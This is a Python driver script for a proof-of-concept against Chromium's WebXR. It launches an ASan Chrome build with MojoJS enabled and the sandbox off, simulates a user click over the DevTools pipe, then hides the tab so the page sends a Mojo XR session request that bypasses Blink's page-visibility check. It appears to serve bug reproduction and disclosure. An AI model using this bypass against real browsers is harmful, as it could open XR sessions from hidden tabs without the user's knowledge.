#!/usr/bin/env python3
"""
Automation driver for the WebXR hidden-tab POC.

Launches Chrome with --remote-debugging-pipe, opens poc.html, simulates a real
user click (giving the frame transient user activation in the *browser*
process), then opens and activates a second tab so the POC tab's
PageVisibilityState becomes kHidden. The POC page's visibilitychange handler
then sends VRService.RequestSession directly over Mojo, bypassing Blink's
IsPageVisible() guard.

Usage:
  python3 driver.py [chrome_binary]

Reads CHROME from env if no arg is given. Prints all [POC] console lines.
"""
import json
import os
import shutil
import signal
import socket
import subprocess
import sys
import tempfile
import threading
import time

CHROME = (sys.argv[1] if len(sys.argv) > 1
          else os.environ.get('CHROME',
                              '/chromium/chromium/src/out/asan/chrome'))
PORT = 8080
URL = f'http://127.0.0.1:{PORT}/poc.html'
HERE = os.path.dirname(os.path.abspath(__file__))


def wait_port(port, timeout=10):
  end = time.time() + timeout
  while time.time() < end:
    try:
      with socket.create_connection(('127.0.0.1', port), 0.5):
        return True
    except OSError:
      time.sleep(0.1)
  return False


class CDPPipe:
  """Minimal CDP-over-pipe client (NUL-delimited JSON on fd 3/4)."""

  def __init__(self, chrome_args, log_file):
    # Chrome reads commands from its fd 3, writes events to its fd 4.
    cmd_r, self.cmd_w = os.pipe()  # we write -> chrome reads
    self.evt_r, evt_w = os.pipe()  # chrome writes -> we read
    # Park them at fixed high fds so subprocess's stdio plumbing and
    # close_fds bookkeeping can't clobber them.
    cmd_r2, evt_w2 = 200, 201
    os.dup2(cmd_r, cmd_r2); os.close(cmd_r)
    os.dup2(evt_w, evt_w2); os.close(evt_w)
    os.set_inheritable(cmd_r2, True)
    os.set_inheritable(evt_w2, True)
    # Open the log file at a known fd so we can dup2 it to 1/2 ourselves
    # (subprocess's own stdio plumbing fights with the fd-3/4 dance).
    log_fd = 202
    fd = os.open(log_file, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)
    os.dup2(fd, log_fd); os.close(fd)
    os.set_inheritable(log_fd, True)
    cmd_w, evt_r = self.cmd_w, self.evt_r

    def _preexec():
      os.dup2(log_fd, 1)
      os.dup2(log_fd, 2)
      os.dup2(cmd_r2, 3)
      os.dup2(evt_w2, 4)
      for fd in (cmd_r2, evt_w2, cmd_w, evt_r, log_fd):
        try:
          if fd > 4: os.close(fd)
        except OSError:
          pass

    self.proc = subprocess.Popen(
        chrome_args,
        stdin=subprocess.DEVNULL,
        close_fds=False,
        preexec_fn=_preexec,
    )
    os.close(log_fd)
    os.close(cmd_r2)
    os.close(evt_w2)
    self._buf = b''
    self._id = 0
    self._lock = threading.Lock()
    self._pending = {}
    self._events = []
    self._reader = threading.Thread(target=self._read_loop, daemon=True)
    self._reader.start()

  def _read_loop(self):
    while True:
      chunk = os.read(self.evt_r, 65536)
      if not chunk:
        return
      self._buf += chunk
      while b'\x00' in self._buf:
        msg, self._buf = self._buf.split(b'\x00', 1)
        if not msg:
          continue
        obj = json.loads(msg)
        with self._lock:
          if 'id' in obj and obj['id'] in self._pending:
            self._pending[obj['id']] = obj
          else:
            self._events.append(obj)

  def send(self, method, params=None, session_id=None, timeout=15):
    self._id += 1
    mid = self._id
    msg = {'id': mid, 'method': method, 'params': params or {}}
    if session_id:
      msg['sessionId'] = session_id
    with self._lock:
      self._pending[mid] = None
    os.write(self.cmd_w, json.dumps(msg).encode() + b'\x00')
    end = time.time() + timeout
    while time.time() < end:
      with self._lock:
        if self._pending[mid] is not None:
          return self._pending.pop(mid)
      time.sleep(0.01)
    raise TimeoutError(f'{method} timed out')

  def wait_event(self, method, pred=lambda p: True, timeout=15,
                 session_id=None):
    end = time.time() + timeout
    while time.time() < end:
      with self._lock:
        for i, e in enumerate(self._events):
          if (e.get('method') == method and
              (session_id is None or e.get('sessionId') == session_id) and
              pred(e.get('params', {}))):
            return self._events.pop(i)
      time.sleep(0.02)
    raise TimeoutError(f'event {method} timed out')

  def drain_events(self, method, session_id=None):
    with self._lock:
      out = [e for e in self._events if e.get('method') == method and
             (session_id is None or e.get('sessionId') == session_id)]
      for e in out:
        self._events.remove(e)
    return out

  def close(self):
    try:
      os.close(self.cmd_w)
    except OSError:
      pass
    self.proc.send_signal(signal.SIGTERM)
    try:
      self.proc.wait(5)
    except subprocess.TimeoutExpired:
      self.proc.kill()


def main():
  # 0. Make sure no stale server / chrome from a previous run.
  subprocess.run(['pkill', '-9', '-f', 'server.py'],
                 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
  subprocess.run(['pkill', '-9', '-f', 'out/asan/chrome'],
                 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
  time.sleep(0.5)
  # 1. Start the bindings server.
  srv = subprocess.Popen(
      [sys.executable, os.path.join(HERE, 'server.py')],
      stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
  if not wait_port(PORT):
    print('server failed to start'); srv.kill(); return 1

  user_data = tempfile.mkdtemp(prefix='xr-poc-')
  log_path = os.path.join(HERE, 'chrome_stderr.log')
  chrome_args = [
      CHROME,
      '--remote-debugging-pipe',
      '--enable-blink-features=MojoJS,MojoJSTest',
      '--no-first-run', '--no-default-browser-check', '--no-sandbox',
      '--disable-gpu', '--use-gl=angle', '--use-angle=swiftshader',
      '--enable-logging=stderr', '--v=0',
      '--user-data-dir=' + user_data,
      'about:blank',
  ]
  cdp = CDPPipe(chrome_args, log_path)
  try:
    # 2. Attach to the initial page and navigate to the POC.
    cdp.send('Target.setDiscoverTargets', {'discover': True})
    ev = cdp.wait_event(
        'Target.targetCreated',
        lambda p: p.get('targetInfo', {}).get('type') == 'page')
    poc_target = ev['params']['targetInfo']['targetId']
    sid = cdp.send('Target.attachToTarget',
                   {'targetId': poc_target, 'flatten': True}
                   )['result']['sessionId']
    cdp.send('Runtime.enable', session_id=sid)
    cdp.send('Page.enable', session_id=sid)
    cdp.send('Page.navigate', {'url': URL}, session_id=sid)
    # Wait for the ES module to finish importing.
    end = time.time() + 30
    while time.time() < end:
      r = cdp.send('Runtime.evaluate',
                   {'expression': 'window.__pocReady === true',
                    'returnByValue': True}, session_id=sid)
      if r.get('result', {}).get('result', {}).get('value') is True:
        break
      time.sleep(0.2)
    else:
      raise RuntimeError('poc.html never became ready')

    # 3. Real-input click on the button -> browser-side user activation.
    res = cdp.send(
        'Runtime.evaluate', {
            'expression':
                'JSON.stringify(document.getElementById("go")'
                '.getBoundingClientRect())',
            'returnByValue': True
        },
        session_id=sid)
    r = json.loads(res['result']['result']['value'])
    cx, cy = r['x'] + r['width'] / 2, r['y'] + r['height'] / 2
    for t in ('mousePressed', 'mouseReleased'):
      cdp.send('Input.dispatchMouseEvent', {
          'type': t, 'x': cx, 'y': cy, 'button': 'left',
          'buttons': 1, 'clickCount': 1
      }, session_id=sid)

    # 4. Create and foreground a second tab so the POC tab becomes hidden.
    bg = cdp.send('Target.createTarget', {'url': 'about:blank'}
                  )['result']['targetId']
    cdp.send('Target.activateTarget', {'targetId': bg})

    # 5. Collect [POC] console output.
    end = time.time() + 10
    seen = []
    while time.time() < end:
      for e in cdp.drain_events('Runtime.consoleAPICalled', session_id=sid):
        for a in e.get('params', {}).get('args', []):
          v = a.get('value')
          if isinstance(v, str) and '[POC]' in v:
            seen.append(v)
            print(v, flush=True)
      for e in cdp.drain_events('Runtime.exceptionThrown', session_id=sid):
        print('[JS-EXCEPTION]',
              e.get('params', {}).get('exceptionDetails'), flush=True)
      time.sleep(0.1)
  finally:
    cdp.close()
    srv.terminate()
    shutil.rmtree(user_data, ignore_errors=True)
  print(f'\nFull Chrome stderr saved to: {log_path}')
  return 0


if __name__ == '__main__':
  sys.exit(main())